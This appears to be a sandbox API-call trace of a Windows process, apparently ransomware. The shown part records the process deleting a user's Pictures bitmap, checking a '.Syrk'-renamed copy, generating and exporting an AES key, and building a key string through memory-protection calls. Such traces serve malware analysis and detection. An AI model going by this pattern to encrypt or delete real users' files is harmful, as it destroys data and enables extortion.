returned 0x20 [0253.352] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0253.352] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", lpFilePart=0x0) returned 0x2e [0253.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0253.352] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\neejrl4diryjsv.bmp"), fInfoLevelId=0x0, lpFileInformation=0x2381b30 | out: lpFileInformation=0x2381b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24cdd390, ftCreationTime.dwHighDateTime=0x1d998bd, ftLastAccessTime.dwLowDateTime=0xd80888e0, ftLastAccessTime.dwHighDateTime=0x1d9997d, ftLastWriteTime.dwLowDateTime=0xd80888e0, ftLastWriteTime.dwHighDateTime=0x1d9997d, nFileSizeHigh=0x0, nFileSizeLow=0x30fc)) returned 1 [0253.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0253.353] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\neejrl4diryjsv.bmp")) returned 1 [0253.398] EtwEventActivityIdControl () returned 0x0 [0253.399] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.399] EtwEventActivityIdControl () returned 0x0 [0253.399] EtwEventActivityIdControl () returned 0x0 [0253.399] EtwEventActivityIdControl () returned 0x0 [0253.406] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\neejrl4diryjsv.bmp.syrk")) returned 0x20 [0253.407] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\neejrl4diryjsv.bmp.syrk")) returned 0x20 [0253.407] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0253.407] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp.Syrk", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp.Syrk", lpFilePart=0x0) returned 0x33 [0253.407] EtwEventActivityIdControl () returned 0x0 [0253.408] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.408] EtwEventActivityIdControl () returned 0x0 [0253.408] EtwEventActivityIdControl () returned 0x0 [0253.408] EtwEventActivityIdControl () returned 0x0 [0253.414] EtwEventActivityIdControl () returned 0x0 [0253.414] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.415] EtwEventActivityIdControl () returned 0x0 [0253.415] EtwEventActivityIdControl () returned 0x0 [0253.415] EtwEventActivityIdControl () returned 0x0 [0253.418] EtwEventActivityIdControl () returned 0x0 [0253.419] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.419] EtwEventActivityIdControl () returned 0x0 [0253.419] EtwEventActivityIdControl () returned 0x0 [0253.419] EtwEventActivityIdControl () returned 0x0 [0253.423] EtwEventActivityIdControl () returned 0x0 [0253.423] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.423] EtwEventActivityIdControl () returned 0x0 [0253.423] EtwEventActivityIdControl () returned 0x0 [0253.423] EtwEventActivityIdControl () returned 0x0 [0253.427] EtwEventActivityIdControl () returned 0x0 [0253.427] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.428] EtwEventActivityIdControl () returned 0x0 [0253.428] EtwEventActivityIdControl () returned 0x0 [0253.428] EtwEventActivityIdControl () returned 0x0 [0253.431] EtwEventActivityIdControl () returned 0x0 [0253.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0253.435] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\neejrl4diryjsv.bmp.syrk"), fInfoLevelId=0x0, lpFileInformation=0x238b6f8 | out: lpFileInformation=0x238b6f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12902f50, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x12902f50, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x1299b4d0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x3114)) returned 1 [0253.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0253.436] GetConsoleOutputCP () returned 0x1b5 [0253.475] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0253.475] GetConsoleOutputCP () returned 0x1b5 [0253.475] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0253.475] GetConsoleOutputCP () returned 0x1b5 [0253.475] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.475] GetConsoleOutputCP () returned 0x1b5 [0253.476] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.476] GetConsoleOutputCP () returned 0x1b5 [0253.476] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0253.476] GetConsoleOutputCP () returned 0x1b5 [0253.476] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0253.476] GetConsoleOutputCP () returned 0x1b5 [0253.476] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.476] GetConsoleOutputCP () returned 0x1b5 [0253.476] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.477] GetConsoleOutputCP () returned 0x1b5 [0253.477] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0253.477] GetConsoleOutputCP () returned 0x1b5 [0253.477] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0253.477] GetConsoleOutputCP () returned 0x1b5 [0253.477] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.477] GetConsoleOutputCP () returned 0x1b5 [0253.477] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.477] GetConsoleOutputCP () returned 0x1b5 [0253.478] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0253.478] GetConsoleOutputCP () returned 0x1b5 [0253.478] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0253.478] GetConsoleOutputCP () returned 0x1b5 [0253.478] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.478] GetConsoleOutputCP () returned 0x1b5 [0253.478] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.478] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0253.479] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0253.479] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23a5970*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23a5970*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0253.479] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0253.480] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0253.481] EtwEventActivityIdControl () returned 0x0 [0253.481] EtwEventActivityIdControl () returned 0x0 [0253.481] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.482] EtwEventActivityIdControl () returned 0x0 [0253.482] EtwEventActivityIdControl () returned 0x0 [0253.482] EtwEventActivityIdControl () returned 0x0 [0253.483] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.484] EtwEventActivityIdControl () returned 0x0 [0253.484] EtwEventActivityIdControl () returned 0x0 [0253.484] EtwEventActivityIdControl () returned 0x0 [0253.488] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d298) returned 1 [0253.490] CryptGenKey (in: hProv=0x5c4d298, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99820) returned 1 [0253.490] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0253.490] CryptExportKey (in: hKey=0x5c99820, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0253.490] CryptExportKey (in: hKey=0x5c99820, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23ad598, pdwDataLen=0x5a2e8c4 | out: pbData=0x23ad598*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0253.490] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.491] EtwEventActivityIdControl () returned 0x0 [0253.491] EtwEventActivityIdControl () returned 0x0 [0253.491] EtwEventActivityIdControl () returned 0x0 [0253.492] SysStringLen (param_1="") returned 0x8 [0253.492] SysStringLen (param_1="Y") returned 0x8 [0253.492] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.492] SysStringLen (param_1="ዬ釮鉭뛎葂޼ȡ") returned 0x8 [0253.492] SysStringLen (param_1="ዬ釮鉭뛎葂޼ȡ") returned 0x8 [0253.492] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.492] SysStringLen (param_1="YX") returned 0x8 [0253.492] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.492] SysStringLen (param_1="\㳛㎊↍⤀\磟ﬢ꥟") returned 0x8 [0253.492] SysStringLen (param_1="\㳛㎊↍⤀\磟ﬢ꥟") returned 0x8 [0253.492] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.493] SysStringLen (param_1="YXX") returned 0x8 [0253.493] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.493] SysStringLen (param_1="㩧神ꬾ⥔殟袷㯴矎") returned 0x8 [0253.493] SysStringLen (param_1="㩧神ꬾ⥔殟袷㯴矎") returned 0x8 [0253.493] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.493] SysStringLen (param_1="YXXT") returned 0x8 [0253.493] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.493] SysStringLen (param_1="\哝㫇段꩏䵋⋍) returned 0x8 [0253.493] SysStringLen (param_1="\哝㫇段꩏䵋⋍) returned 0x8 [0253.493] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.493] SysStringLen (param_1="YXXT+") returned 0x8 [0253.493] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.494] SysStringLen (param_1="⽲੣苯問炦䚊쎲") returned 0x8 [0253.494] SysStringLen (param_1="⽲੣苯問炦䚊쎲") returned 0x8 [0253.494] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.494] SysStringLen (param_1="YXXT+g") returned 0x8 [0253.494] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.494] SysStringLen (param_1="肇뮘쨠탣疷鞄充䛾") returned 0x8 [0253.494] SysStringLen (param_1="肇뮘쨠탣疷鞄充䛾") returned 0x8 [0253.494] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.494] SysStringLen (param_1="YXXT+gq") returned 0x8 [0253.494] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.494] SysStringLen (param_1="깐ԏ⸚ꦥ殰橯ꗢ粝") returned 0x8 [0253.494] SysStringLen (param_1="깐ԏ⸚ꦥ殰橯ꗢ粝") returned 0x8 [0253.494] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.495] SysStringLen (param_1="YXXT+gqX") returned 0x8 [0253.495] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.495] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕") returned 0x8 [0253.495] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕") returned 0x8 [0253.495] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕") returned 0x8 [0253.496] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕") returned 0x10 [0253.496] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.496] SysStringLen (param_1="YXXT+gqXbᐗ薚퍷䲏㍮") returned 0x10 [0253.496] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.496] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕꒹帞烑ꉚᶹ") returned 0x10 [0253.496] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕꒹帞烑ꉚᶹ") returned 0x10 [0253.496] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.496] SysStringLen (param_1="YXXT+gqXbW薚퍷䲏㍮") returned 0x10 [0253.496] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.496] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕︼ཧ꺄밻꤈義\⋟) returned 0x10 [0253.496] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕︼ཧ꺄밻꤈義\⋟) returned 0x10 [0253.496] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.497] SysStringLen (param_1="YXXT+gqXbW1薚퍷䲏㍮") returned 0x10 [0253.497] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.497] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕ﭘ晴⼓뇜᧟풿ጐ㔌") returned 0x10 [0253.497] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕ﭘ晴⼓뇜᧟풿ጐ㔌") returned 0x10 [0253.497] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.497] SysStringLen (param_1="YXXT+gqXbW1P퍷䲏㍮") returned 0x10 [0253.497] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.497] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕鱹킔咗케⻯趄") returned 0x10 [0253.497] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕鱹킔咗케⻯趄") returned 0x10 [0253.497] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.497] SysStringLen (param_1="YXXT+gqXbW1P+퍷䲏㍮") returned 0x10 [0253.497] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.497] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕벮뵟숮Ფ䝧ᤛ") returned 0x10 [0253.497] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕벮뵟숮Ფ䝧ᤛ") returned 0x10 [0253.498] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.498] SysStringLen (param_1="YXXT+gqXbW1P+F䲏㍮") returned 0x10 [0253.498] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.498] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕㗁삝遚ﴴ") returned 0x10 [0253.498] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕㗁삝遚ﴴ") returned 0x10 [0253.498] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.498] SysStringLen (param_1="YXXT+gqXbW1P+Fy㍮") returned 0x10 [0253.498] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.498] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕䉈뼅犠ｸꨨ⨽閩緽") returned 0x10 [0253.498] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕䉈뼅犠ｸꨨ⨽閩緽") returned 0x10 [0253.498] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.498] SysStringLen (param_1="YXXT+gqXbW1P+Fym") returned 0x10 [0253.498] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.499] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧") returned 0x10 [0253.499] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧") returned 0x10 [0253.499] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧") returned 0x10 [0253.499] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧") returned 0x18 [0253.499] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.499] SysStringLen (param_1="YXXT+gqXbW1P+FymW밠了韐섐嬍禅ྜ") returned 0x18 [0253.499] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.500] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧窦鄙ᰁﱏ吆❿훫") returned 0x18 [0253.500] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧窦鄙ᰁﱏ吆❿훫") returned 0x18 [0253.500] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.500] SysStringLen (param_1="YXXT+gqXbW1P+FymWf了韐섐嬍禅ྜ") returned 0x18 [0253.500] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.500] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧骐耜\쿙该緬꠆멩≍) returned 0x18 [0253.500] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧骐耜\쿙该緬꠆멩≍) returned 0x18 [0253.500] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.500] SysStringLen (param_1="YXXT+gqXbW1P+FymWfs韐섐嬍禅ྜ") returned 0x18 [0253.500] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.500] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䧥︛굍틈抈㸁娠⼘") returned 0x18 [0253.500] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䧥︛굍틈抈㸁娠⼘") returned 0x18 [0253.500] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.500] SysStringLen (param_1="YXXT+gqXbW1P+FymWfsl섐嬍禅ྜ") returned 0x18 [0253.501] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.501] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䀜़᪴氱殺૛뽡꾖") returned 0x18 [0253.501] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䀜़᪴氱殺૛뽡꾖") returned 0x18 [0253.501] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.501] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslW嬍禅ྜ") returned 0x18 [0253.501] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.501] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧횴鮛ꤑ풇巫畹⊚蘣") returned 0x18 [0253.501] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧횴鮛ꤑ풇巫畹⊚蘣") returned 0x18 [0253.501] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.501] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv禅ྜ") returned 0x18 [0253.501] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.501] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧価㙬얃閷柽铎펭") returned 0x18 [0253.501] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧価㙬얃閷柽铎펭") returned 0x18 [0253.501] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.502] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv0ྜ") returned 0x18 [0253.502] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.502] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧΅ሑꨗ᐀⩦⧇镊줲") returned 0x18 [0253.502] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧΅ሑꨗ᐀⩦⧇镊줲") returned 0x18 [0253.502] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.502] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08") returned 0x18 [0253.502] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.502] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘") returned 0x18 [0253.502] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘") returned 0x18 [0253.502] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘") returned 0x18 [0253.503] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘") returned 0x20 [0253.503] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.503] SysStringLen (param_1="YXXT+gqXbW1P+FymWfslWv08T旸๚\x1e장\⏜⋵) returned 0x20 [0253.503] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.503] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘☨ቱ那ꃜӴ峒ࠞ섳") returned 0x20 [0253.503] SysStringLen (param_1="㣍Ⲃ饥㽔楤攈㿼﹕웳蒵軓ⴞ䫿૶슧䜥嵭閿뒔诱燚꼟㠘☨ቱ那ꃜӴ峒ࠞ섳") returned 0x20 [0253.503] 